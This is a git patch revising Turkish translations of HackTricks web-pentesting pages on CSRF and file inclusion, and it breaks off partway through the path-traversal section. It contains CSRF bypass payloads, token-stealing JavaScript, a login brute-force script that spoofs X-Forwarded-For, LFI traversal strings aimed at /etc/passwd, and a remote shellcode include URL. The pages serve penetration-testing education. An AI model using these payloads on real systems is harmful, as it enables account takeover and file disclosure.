From 00278c7f409053b337d5e35d09bfc42ba244b86a Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 26 Aug 2025 17:01:32 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/reset-password.md', 'src/pentesting- --- .../csrf-cross-site-request-forgery.md | 177 ++++---- src/pentesting-web/file-inclusion/README.md | 402 +++++++++--------- .../hacking-with-cookies/README.md | 266 ++++++------ src/pentesting-web/reset-password.md | 258 ++++++----- src/pentesting-web/sql-injection/README.md | 244 ++++++----- 5 files changed, 736 insertions(+), 611 deletions(-) diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 68e2ea48a..b26425e32 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -4,83 +4,110 @@ ## Cross-Site Request Forgery (CSRF) Açıklaması -**Cross-Site Request Forgery (CSRF)**, web uygulamalarında bulunan bir güvenlik açığı türüdür. Bu, saldırganların, kimlik doğrulaması yapılmış oturumları istismar ederek, farkında olmayan kullanıcılar adına eylemler gerçekleştirmesine olanak tanır. Saldırı, bir kurbanın platformuna giriş yapmış bir kullanıcının kötü niyetli bir siteyi ziyaret etmesiyle gerçekleştirilir. Bu site, JavaScript çalıştırma, formları gönderme veya resimleri alma gibi yöntemlerle kurbanın hesabına istekler tetikler. +**Cross-Site Request Forgery (CSRF)**, web uygulamalarında bulunan bir güvenlik zafiyetidir. Bu zafiyet, saldırganların kullanıcıların kimlik doğrulanmış oturumlarını suistimal ederek onların adına işlemler yapmasına olanak tanır. Saldırı, bir kullanıcının (hedef platforma giriş yapmış) kötü niyetli bir siteyi ziyaret etmesiyle gerçekleşir. Bu site, JavaScript çalıştırma, form gönderme veya resim/fetch çağrısı yapma gibi yöntemlerle hedef hesabına istek tetikler. -### CSRF Saldırısı için Ön Koşullar +### CSRF Saldırısı için Önkoşullar -CSRF açığını istismar etmek için birkaç koşulun sağlanması gerekir: +Bir CSRF zafiyetinden yararlanmak için birkaç koşulun sağlanması gerekir: -1. **Değerli Bir Eylemi Belirleme**: Saldırgan, kullanıcının şifresini, e-posta adresini değiştirmek veya yetkileri artırmak gibi istismar etmeye değer bir eylem bulmalıdır. -2. **Oturum Yönetimi**: Kullanıcının oturumu yalnızca çerezler veya HTTP Temel Kimlik Doğrulama başlığı aracılığıyla yönetilmelidir, çünkü diğer başlıklar bu amaçla manipüle edilemez. -3. **Tahmin Edilemez Parametrelerin Yokluğu**: İstek, tahmin edilemez parametreler içermemelidir, çünkü bunlar saldırıyı engelleyebilir. +1. **Değerli Bir İşlem Belirleme**: Saldırgan, kullanıcının şifresini, e-postasını değiştirme veya ayrıcalıkları yükseltme gibi istismar etmeye değer bir işlem bulmalıdır. +2. **Oturum Yönetimi**: Kullanıcının oturumu yalnızca cookies veya the HTTP Basic Authentication header yoluyla yönetiliyor olmalıdır, çünkü diğer header'lar bu amaç için manipüle edilemez. +3. **Öngörülemez Parametrelerin Olmaması**: İstek, saldırıyı engelleyebilecek öngörülemez parametreler içermemelidir. ### Hızlı Kontrol -**Burp'ta isteği yakalayabilir** ve CSRF korumalarını kontrol edebilir, tarayıcıdan test etmek için **Fetch olarak Kopyala** seçeneğine tıklayarak isteği kontrol edebilirsiniz: +İsteği Burp içinde yakalayabilir ve CSRF korumalarını kontrol edebilirsiniz; ayrıca tarayıcıdan test etmek için **Copy as fetch** üzerine tıklayıp isteği inceleyebilirsiniz:
### CSRF'ye Karşı Savunma -CSRF saldırılarına karşı korunmak için birkaç önlem uygulanabilir: +CSRF saldırılarına karşı uygulanabilecek birkaç önlem vardır: -- [**SameSite çerezleri**](hacking-with-cookies/index.html#samesite): Bu özellik, tarayıcının çerezleri çapraz site istekleriyle göndermesini engeller. [SameSite çerezleri hakkında daha fazla bilgi](hacking-with-cookies/index.html#samesite). -- [**Çapraz kaynak paylaşımı**](cors-bypass.md): Kurban sitesinin CORS politikası, saldırının uygulanabilirliğini etkileyebilir, özellikle saldırı kurban sitesinden yanıt okumayı gerektiriyorsa. [CORS atlatma hakkında bilgi edinin](cors-bypass.md). -- **Kullanıcı Doğrulaması**: Kullanıcının şifresini istemek veya bir captcha çözmek, kullanıcının niyetini doğrulayabilir. -- **Referans veya Kaynak Başlıklarını Kontrol Etme**: Bu başlıkların doğrulanması, isteklerin güvenilir kaynaklardan geldiğinden emin olmaya yardımcı olabilir. Ancak, URL'lerin dikkatlice oluşturulması, kötü uygulanmış kontrolleri atlatabilir, örneğin: - - `http://mal.net?orig=http://example.com` (URL güvenilir URL ile bitiyor) - - `http://example.com.mal.net` (URL güvenilir URL ile başlıyor) -- **Parametre İsimlerini Değiştirme**: POST veya GET isteklerindeki parametre isimlerini değiştirmek, otomatik saldırıları önlemeye yardımcı olabilir. -- **CSRF Tokenleri**: Her oturumda benzersiz bir CSRF tokeni eklemek ve bu tokeni sonraki isteklere zorunlu kılmak, CSRF riskini önemli ölçüde azaltabilir. Tokenin etkinliği, CORS'un zorlanmasıyla artırılabilir. +- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Bu attribute, tarayıcının çapraz site istekleriyle birlikte cookies göndermesini engeller. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). +- [**Cross-origin resource sharing**](cors-bypass.md): Hedef sitenin CORS politikası, özellikle saldırının hedef siteden gelen yanıtı okumasını gerektirdiği durumlarda saldırının uygulanabilirliğini etkileyebilir. [Learn about CORS bypass](cors-bypass.md). +- **User Verification**: Kullanıcının şifresini yeniden istemek veya bir captcha çözdürmek kullanıcının niyetini doğrulayabilir. +- **Referrer veya Origin Header'larını Kontrol Etme**: Bu header'ları doğrulamak, isteklerin güvenilir kaynaklardan geldiğini teyit etmeye yardımcı olabilir. Ancak, kötü uygulanmış kontroller URL'lerin dikkatli biçimde hazırlanmasıyla atlatılabilir, örneğin: + - Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL) + - Using `http://example.com.mal.net` (URL starts with the trusted URL) +- **Parametre İsimlerini Değiştirme**: POST veya GET isteklerindeki parametre isimlerini değiştirerek otomatik saldırıları önlemek mümkündür. +- **CSRF Tokens**: Her oturum için benzersiz bir CSRF token'ı eklemek ve sonraki isteklere bu token'ı zorunlu kılmak CSRF riskini önemli ölçüde azaltır. Token'ın etkinliği, CORS uygulanarak artırılabilir. -Bu savunmaları anlamak ve uygulamak, web uygulamalarının güvenliğini ve bütünlüğünü korumak için kritik öneme sahiptir. +Bu savunmaları anlamak ve uygulamak, web uygulamalarının güvenliği ve bütünlüğünün korunması için kritiktir. -## Savunma Atlatma +## Savunma Bypass'ları -### POST'tan GET'e +### From POST to GET (method-conditioned CSRF validation bypass) -Kötüye kullanmak istediğiniz form, bir **CSRF tokeni ile POST isteği gönderecek şekilde hazırlanmış olabilir**, ancak bir **GET** isteğinin de **geçerli olup olmadığını kontrol etmelisiniz** ve GET isteği gönderdiğinizde **CSRF tokeninin hala doğrulandığını** kontrol etmelisiniz. +Bazı uygulamalar CSRF doğrulamasını yalnızca POST üzerinde uygular ve diğer HTTP verb'leri için atlayabilir. PHP'de yaygın bir anti-pattern şu şekilde görünür: +```php +public function csrf_check($fatal = true) { +if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF +// ... validate __csrf_token here ... +} +``` +Eğer kırılgan endpoint $_REQUEST'ten gelen parametreleri de kabul ediyorsa, aynı işlemi GET isteği olarak yeniden yapabilir ve CSRF token'ını tamamen atlayabilirsiniz. Bu, yalnızca POST olan bir işlemi token olmadan başarılı olan bir GET eylemine dönüştürür. -### Token Eksikliği +Example: -Uygulamalar, tokenler mevcut olduğunda **tokenleri doğrulamak için bir mekanizma** uygulayabilir. Ancak, token yokken doğrulamanın tamamen atlanması durumunda bir güvenlik açığı ortaya çıkar. Saldırganlar, tokeni taşıyan **parametreyi kaldırarak** bunu istismar edebilir, sadece değerini değil. Bu, doğrulama sürecini atlatmalarına ve etkili bir Cross-Site Request Forgery (CSRF) saldırısı gerçekleştirmelerine olanak tanır. +- Orijinal POST with token (beklenen): -### CSRF tokeni kullanıcı oturumuna bağlı değil +```http +POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1 +Content-Type: application/x-www-form-urlencoded -Uygulamalar **CSRF tokenlerini kullanıcı oturumlarına bağlamıyorsa**, bu önemli bir **güvenlik riski** oluşturur. Bu sistemler, her tokenin başlatan oturumla bağlı olduğundan emin olmak yerine, tokenleri **küresel bir havuz** ile doğrular. +__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker","widgetType":"URL"}] +``` -Saldırganların bunu nasıl istismar ettiğine dair: +- GET'e geçerek bypass (no token): -1. **Kendi hesaplarıyla kimlik doğrulama** yaparlar. -2. **Küresel havuzdan geçerli bir CSRF tokeni** alırlar. -3. **Bu tokeni** bir kurbana karşı CSRF saldırısında kullanırlar. +```http +GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker","widgetType":"URL"}] HTTP/1.1 +``` -Bu güvenlik açığı, saldırganların kurban adına yetkisiz istekler yapmasına olanak tanır ve uygulamanın **yetersiz token doğrulama mekanizmasını** istismar eder. +Notlar: +- Bu desen genellikle reflected XSS ile birlikte ortaya çıkar; cevaplar yanlışlıkla application/json yerine text/html olarak sunulur. +- Bunu XSS ile eşleştirmek, tek bir GET linkiyle hem kırılgan kod yolunu tetikleyip hem de CSRF kontrollerini tamamen atlayabildiğiniz için kötüye kullanımı büyük oranda kolaylaştırır. -### Yöntem atlatma +### Lack of token -Eğer istek "**garip**" bir **yöntem** kullanıyorsa, **yöntem** **aşırı yazma işlevinin** çalışıp çalışmadığını kontrol edin. Örneğin, eğer **PUT** yöntemi kullanıyorsa, **POST** yöntemini kullanmayı deneyebilir ve **gönderebilirsiniz**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +Uygulamalar token'lar mevcut olduğunda bunları doğrulama mekanizması uygulayabilir. Ancak, token yokken doğrulamanın tamamen atlanması bir güvenlik açığı oluşturur. Saldırganlar bunu, yalnızca token'ın değerini silmek yerine token'ı taşıyan parametreyi tamamen kaldırarak istismar edebilirler. Bu, doğrulama sürecini atlamalarına ve etkili bir Cross-Site Request Forgery (CSRF) saldırısı gerçekleştirmelerine imkan verir. -Bu, **POST isteği içinde \_method parametresini** göndererek veya **başlıkları** kullanarak da çalışabilir: +### CSRF token is not tied to the user session + +CSRF token'larını kullanıcı oturumlarına bağlamayan uygulamalar ciddi bir güvenlik riski taşır. Bu sistemler her token'ı oluşturan oturuma bağlamak yerine global bir havuza karşı doğrulama yapar. + +Saldırganların bunu nasıl kötüye kullandığı: +1. Kendi hesabıyla authenticate olur. +2. Global havuzdan geçerli bir CSRF token alır. +3. Bu token'ı bir CSRF saldırısında hedefe karşı kullanır. + +Bu zafiyet, saldırganların uygulamanın yetersiz token doğrulama mekanizmasını kullanarak mağdur adına yetkisiz istekler yapmasına olanak tanır. + +### Method bypass + +İstek "weird" bir method kullanıyorsa, method override işlevinin çalışıp çalışmadığını kontrol edin. Örneğin, PUT kullanılıyorsa POST kullanmayı deneyebilir ve şu şekilde gönderebilirsiniz: _https://example.com/my/dear/api/val/num?__method=PUT_ + +Bu ayrıca bir POST isteği içinde __method parametresini göndererek veya headers kullanarak da çalışabilir: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ - _X-Method-Override_ -### Özel başlık token atlatma +### Custom header token bypass -Eğer istek, **CSRF koruma yöntemi** olarak isteğe bir **token** ile **özel başlık** ekliyorsa, o zaman: +Eğer istek CSRF koruma yöntemi olarak isteğe özel bir header ile token ekliyorsa: -- **Özelleştirilmiş Token ve başlık olmadan isteği test edin.** -- **Tam aynı uzunlukta ama farklı bir token ile isteği test edin.** +- Özelleştirilmiş Token ve header olmadan isteği test edin. +- Tam aynı uzunlukta fakat farklı bir token ile testi yapın. -### CSRF tokeni bir çerezle doğrulanıyor +### CSRF token is verified by a cookie -Uygulamalar, tokeni hem bir çerezde hem de bir istek parametresinde kopyalayarak veya bir CSRF çerezi ayarlayarak ve arka uçta gönderilen tokenin çerezle eşleşip eşleşmediğini doğrulayarak CSRF koruması uygulayabilir. Uygulama, istek parametresindeki tokenin çerezdeki değerle uyumlu olup olmadığını kontrol ederek istekleri doğrular. +Uygulamalar CSRF korumasını token'ı hem cookie hem de istek parametresinde kopyalayarak veya bir CSRF cookie'si ayarlayıp backend'de gönderilen token'ın cookie ile eşleşip eşleşmediğini doğrulayarak implemente edebilir. Uygulama, istek parametresindeki token'ın cookie'deki değerle uyumlu olup olmadığını kontrol ederek doğrulama yapar. -Ancak, bu yöntem, bir saldırganın kurbanın tarayıcısında bir CSRF çerezi ayarlamasına izin veren hatalar varsa CSRF saldırılarına karşı savunmasızdır, örneğin bir CRLF açığı. Saldırgan, çerezi ayarlayan yanıltıcı bir resmi yükleyerek bunu istismar edebilir ve ardından CSRF saldırısını başlatabilir. +Ancak site, saldırganın mağdurun tarayıcısına bir CSRF cookie'si ayarlamasına izin veren CRLF gibi açıklara sahipse, bu yöntem CSRF saldırılarına karşı savunmasız hale gelir. Saldırgan bunu, sahte bir görüntü yükleyerek cookie'yi ayarlayıp ardından CSRF saldırısını başlatarak istismar edebilir. -Aşağıda bir saldırının nasıl yapılandırılabileceğine dair bir örnek bulunmaktadır: +Aşağıda bir saldırının nasıl yapılandırılabileceğine dair bir örnek gösterilmiştir: ```html @@ -103,19 +130,19 @@ onerror="document.forms[0].submit();" /> ``` > [!TIP] -> Dikkat edin ki eğer **csrf token oturum çerezi ile ilişkiliyse bu saldırı çalışmayacaktır** çünkü kurbanın oturumunu ayarlamanız gerekecek ve dolayısıyla kendinizi hedef almış olacaksınız. +> Unutmayın: eğer **csrf token session cookie ile ilişkiliyse bu saldırı işe yaramaz**; çünkü hedefin session'ını sizin session'ınız yapmanız gerekir ve dolayısıyla kendinize saldırmış olursunuz. ### Content-Type değişikliği -[**şuna**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) göre, **POST** yöntemi kullanarak **ön uç** isteklerini **önlemek** için izin verilen Content-Type değerleri şunlardır: +Bu kaynağa göre [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), **POST** metodunu kullanırken preflight isteklerinden kaçınmak için izin verilen Content-Type değerleri şunlardır: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** -Ancak, kullanılan **Content-Type**'a bağlı olarak **sunucu mantığı değişebilir** bu yüzden belirtilen değerleri ve **`application/json`**, **`text/xml`**, **`application/xml`** gibi diğerlerini denemelisiniz. +Ancak, kullanılan **Content-Type**'a bağlı olarak **sunucu mantığı değişebilir**; bu yüzden belirtilen değerleri ve diğerlerini, örneğin **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ deneyin. -Örnek ( [buradan](https://brycec.me/posts/corctf_2021_challenges) ) JSON verisini text/plain olarak göndermenin: +Örnek (from [here](https://brycec.me/posts/corctf_2021_challenges)) JSON verisini text/plain olarak gönderme: ```html @@ -134,31 +161,32 @@ form.submit() ``` -### JSON Verileri için Ön Uç İsteklerini Aşma +### JSON Verisi için Preflight İsteklerini Atlama -JSON verilerini bir POST isteği ile göndermeye çalışırken, bir HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu içerik türünü göndermek için `XMLHttpRequest` kullanmak bir ön uç isteği başlatır. Yine de, bu sınırlamayı aşmanın ve sunucunun JSON verilerini Content-Type'a bakılmaksızın işleyip işlemediğini kontrol etmenin stratejileri vardır: +Bir POST isteğiyle JSON verisi göndermeye çalışırken, bir HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu içerik türünü göndermek için `XMLHttpRequest` kullanılması bir preflight isteğini tetikler. Yine de, bu kısıtlamayı aşmak ve sunucunun Content-Type ne olursa olsun JSON veriyi işleyip işlemediğini kontrol etmek için kullanılabilecek yöntemler vardır: -1. **Alternatif İçerik Türlerini Kullanma**: Formda `enctype="text/plain"` ayarlayarak `Content-Type: text/plain` veya `Content-Type: application/x-www-form-urlencoded` kullanın. Bu yaklaşım, arka ucun içerik türüne bakılmaksızın verileri kullanıp kullanmadığını test eder. -2. **İçerik Türünü Değiştirme**: Sunucunun içeriği JSON olarak tanımasını sağlarken bir ön uç isteğinden kaçınmak için verileri `Content-Type: text/plain; application/json` ile gönderebilirsiniz. Bu, bir ön uç isteği tetiklemez ancak sunucu `application/json` kabul edecek şekilde yapılandırılmışsa doğru bir şekilde işlenebilir. -3. **SWF Flash Dosyası Kullanımı**: Daha az yaygın ama uygulanabilir bir yöntem, bu tür kısıtlamaları aşmak için bir SWF flash dosyası kullanmaktır. Bu tekniği daha derinlemesine anlamak için [bu gönderiye](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) bakın. +1. **Alternatif Content Types Kullanma**: Formda `enctype="text/plain"` ayarlayarak `Content-Type: text/plain` veya `Content-Type: application/x-www-form-urlencoded` kullanın. Bu yaklaşım, backend'in Content-Type ne olursa olsun veriyi kullanıp kullanmadığını test eder. +2. **Content Type'ı Değiştirme**: Bir preflight isteğini engellerken sunucunun içeriği JSON olarak tanımasını sağlamak için veriyi `Content-Type: text/plain; application/json` ile gönderebilirsiniz. Bu preflight tetiklemez ancak sunucu `application/json` kabul edecek şekilde yapılandırıldıysa doğru işlenebilir. +3. **SWF Flash File Utilization**: Daha az yaygın ama mümkün bir yöntem, bu kısıtlamaları aşmak için bir SWF flash dosyası kullanmaktır. Bu tekniği detaylı olarak anlamak için [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) referansına bakın. -### Referrer / Origin kontrolünü aşma +### Referrer / Origin check bypass -**Referrer başlığından kaçının** +**Avoid Referrer header** -Uygulamalar, 'Referer' başlığını yalnızca mevcut olduğunda doğrulayabilir. Bir tarayıcının bu başlığı göndermesini önlemek için aşağıdaki HTML meta etiketi kullanılabilir: +Uygulamalar yalnızca 'Referer' header'ı mevcut olduğunda doğrulama yapabilir. Bir tarayıcının bu header'ı göndermesini engellemek için aşağıdaki HTML meta etiketi kullanılabilir: ```xml ``` -Bu, 'Referer' başlığının hariç tutulmasını sağlar ve bu da bazı uygulamalardaki doğrulama kontrollerinin atlanmasına neden olabilir. +Bu, 'Referer' header'ın gönderilmemesini sağlar ve bazı uygulamalarda doğrulama kontrollerinin atlatılmasına yol açabilir. + +**Regexp bypasses** -**Regexp atlamaları** {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -Referrer'ın parametreler içinde göndereceği URL'deki sunucunun alan adını ayarlamak için şunları yapabilirsiniz: +Referrer'ın parametreler içinde göndereceği URL'de sunucunun domain adını ayarlamak için şunu yapabilirsiniz: ```html @@ -187,25 +215,25 @@ document.forms[0].submit() ``` -### **HEAD yöntemi atlatma** +### **HEAD method bypass** -[**Bu CTF yazısı**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) kısmında, **HEAD isteklerini GET istekleri olarak** yanıt gövdesi olmadan işlemek üzere ayarlanmış bir yönlendirici olan [Oak'ın kaynak kodu](https://github.com/oakserver/oak/blob/main/router.ts#L281) açıklanmaktadır - bu, Oak'a özgü olmayan yaygın bir geçici çözümdür. HEAD istekleriyle ilgilenen belirli bir işleyici yerine, bunlar basitçe **GET işleyicisine verilir, ancak uygulama yanıt gövdesini kaldırır**. +The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **handle HEAD requests as GET requests** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **given to the GET handler but the app just removes the response body**. -Bu nedenle, bir GET isteği sınırlıysa, **GET isteği olarak işlenecek bir HEAD isteği gönderebilirsiniz**. +Bu nedenle, eğer bir GET isteği kısıtlanıyorsa, **GET olarak işlenecek bir HEAD isteği gönderebilirsiniz**. -## **Sömürü Örnekleri** +## **Exploit Examples** -### **CSRF Token'ını Sızdırma** +### **Exfiltrating CSRF Token** -Eğer bir **CSRF token'ı** **savunma** olarak kullanılıyorsa, bir [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) açığını veya bir [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) açığını kullanarak **sızdırmayı** deneyebilirsiniz. +Eğer bir **CSRF token** **savunma** olarak kullanılıyorsa, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) zafiyetini veya [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) zafiyetini kötüye kullanarak onu **exfiltrate** etmeye çalışabilirsiniz. -### **HTML etiketleri kullanarak GET** +### **GET using HTML tags** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` -Diğer HTML5 etiketleri, otomatik olarak bir GET isteği göndermek için kullanılabilir: +Otomatik olarak bir GET isteği göndermek için kullanılabilecek diğer HTML5 etiketleri şunlardır: ```html @@ -280,7 +308,7 @@ document.forms[0].submit() //Way 3 to autosubmit ``` -### Form POST isteği iframe aracılığıyla +### iframe aracılığıyla Form POST isteği ```html @@ -397,7 +425,7 @@ document.getElementById("formulario").submit() ``` -### **CSRF Token'ı Çal ve bir POST isteği gönder** +### **CSRF Token çal ve bir POST request gönder** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() @@ -444,7 +472,7 @@ var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` -### **CSRF Token'ı Çal ve bir iframe, form ve Ajax kullanarak bir Post isteği gönder** +### **CSRF Token'ını çal ve iframe, form ve Ajax kullanarak bir Post isteği gönder** ```html ``` -### **POSTAjax ile CSRF token'ını çal ve bir form ile post gönder** +### **POSTSteal ile Ajax kullanarak CSRF token çalın ve bir form ile bir POST gönderin** ```html
``` -### Socket.IO ile CSRF +### CSRF ile Socket.IO ```html ``` -## CSRF Giriş Kaba Kuvvet +## CSRF Login Brute Force -Kod, bir CSRF token kullanarak bir giriş formunu Kaba Kuvvet ile kırmak için kullanılabilir (Ayrıca, olası bir IP kara listesini aşmaya çalışmak için X-Forwarded-For başlığını da kullanıyor): +Bu code, bir CSRF token kullanarak bir login formuna Brut Force yapmak için kullanılabilir (Ayrıca olası bir IP blacklisting'ini atlatmaya çalışmak için X-Forwarded-For header'ını da kullanıyor): ```python import request import re @@ -643,7 +671,6 @@ login(USER, line.strip()) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) - -​ +- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 3054eac05..efe6831a3 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -1,61 +1,61 @@ -# Dosya Dahil Etme/Yol Traversali +# File Inclusion/Path traversal {{#include ../../banners/hacktricks-training.md}} -## Dosya Dahil Etme +## File Inclusion -**Uzak Dosya Dahil Etme (RFI):** Dosya, uzak bir sunucudan yüklenir (En iyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu **varsayılan olarak devre dışıdır** (**allow_url_include**).\ -**Yerel Dosya Dahil Etme (LFI):** Sunucu, yerel bir dosyayı yükler. +**Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (En iyi: Kodu siz yazıp sunucunun çalıştırmasını sağlayabilirsiniz). php'de bu varsayılan olarak **devre dışı**dır (**allow_url_include**).\ +**Local File Inclusion (LFI):** Sunucu yerel bir dosya yükler. -Zafiyet, kullanıcının sunucu tarafından yüklenecek dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar. +Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar. -Zayıf **PHP fonksiyonları**: require, require_once, include, include_once +Zafiyete açık **PHP fonksiyonları**: require, require_once, include, include_once -Bu zafiyeti istismar etmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +Bu zafiyeti sömürmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) -## Blind - İlginç - LFI2RCE dosyaları +## Blind - Interesting - LFI2RCE dosyaları ```python wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ ``` ### **Linux** -**Birçok \*nix LFI listesini birleştirip daha fazla yol ekleyerek bunu oluşturdum:** +**Çeşitli \*nix LFI listelerini karıştırıp daha fazla path ekleyerek bunu oluşturdum:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Ayrıca `/` yerine `\` kullanmayı deneyin.\ -Ayrıca `../../../../../` eklemeyi deneyin. +Ayrıca `/` yerine `\` deneyin\ +Ayrıca `../../../../../` eklemeyi deneyin -Dosya /etc/password'ı bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) bulunabilir (açığın var olup olmadığını kontrol etmek için). +Zafiyetin varlığını kontrol etmek için /etc/password dosyasını bulmak amacıyla çeşitli teknikler kullanan bir liste [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) bulunabilir ### **Windows** -Farklı kelime listelerinin birleştirilmesi: +Farklı wordlists'lerin birleşimi: {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Ayrıca `/` yerine `\` kullanmayı deneyin.\ -Ayrıca `C:/` kaldırmayı ve `../../../../../` eklemeyi deneyin. +Ayrıca `/` yerine `\` deneyin\ +Ayrıca `C:/` silmeyi ve `../../../../../` eklemeyi deneyin -Dosya /boot.ini'yi bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) bulunabilir (açığın var olup olmadığını kontrol etmek için). +Zafiyetin varlığını kontrol etmek için /boot.ini dosyasını bulmak amacıyla çeşitli teknikler kullanan bir liste [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) bulunabilir ### **OS X** -Linux'un LFI listesini kontrol edin. +linux için LFI listesine bakın. -## Temel LFI ve bypass'ler +## Basic LFI and bypasses -Tüm örnekler Yerel Dosya Dahil Etme için geçerlidir ancak Uzaktan Dosya Dahil Etme için de uygulanabilir (sayfa=[http://myserver.com/phpshellcode.txt\\](/)). +Tüm örnekler Local File Inclusion içindir, ancak Remote File Inclusion için de uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### traversal sequences stripped non-recursively +### traversal sequences özyinelemeli olmayan şekilde kaldırıldı ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Verilen dizeye daha fazla karakter ekleme işlemini atlatın (atlatma: $\_GET\['param']."php") +Sağlanan string'in sonuna fazladan karakter eklenmesini engelleyen Bypass (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -Bu, **PHP 5.4'ten beri çözüldü** +Bu, **PHP 5.4'ten itibaren çözüldü** ### **Kodlama** -Çift URL kodlaması (ve diğerleri) gibi standart dışı kodlamalar kullanabilirsiniz: +Standart olmayan kodlamalar kullanabilirsiniz, örneğin double URL encode (ve diğerleri): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd @@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Mevcut klasörden -Belki de arka uç klasör yolunu kontrol ediyor: +Belki back-end klasör yolunu kontrol ediyordur: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` -### Sunucu Üzerinde Dosya Sistemi Dizinlerini Keşfetme +### Bir Sunucuda Dosya Sistemi Dizinlerini Keşfetme -Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri de tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır: +Bir sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının test edilmesini içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem yer almaktadır: -1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (bu, sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği belirten aşağıdaki gibi yapılandırılabilir: +1. **Determine Directory Depth:** Bulunduğunuz dizinin 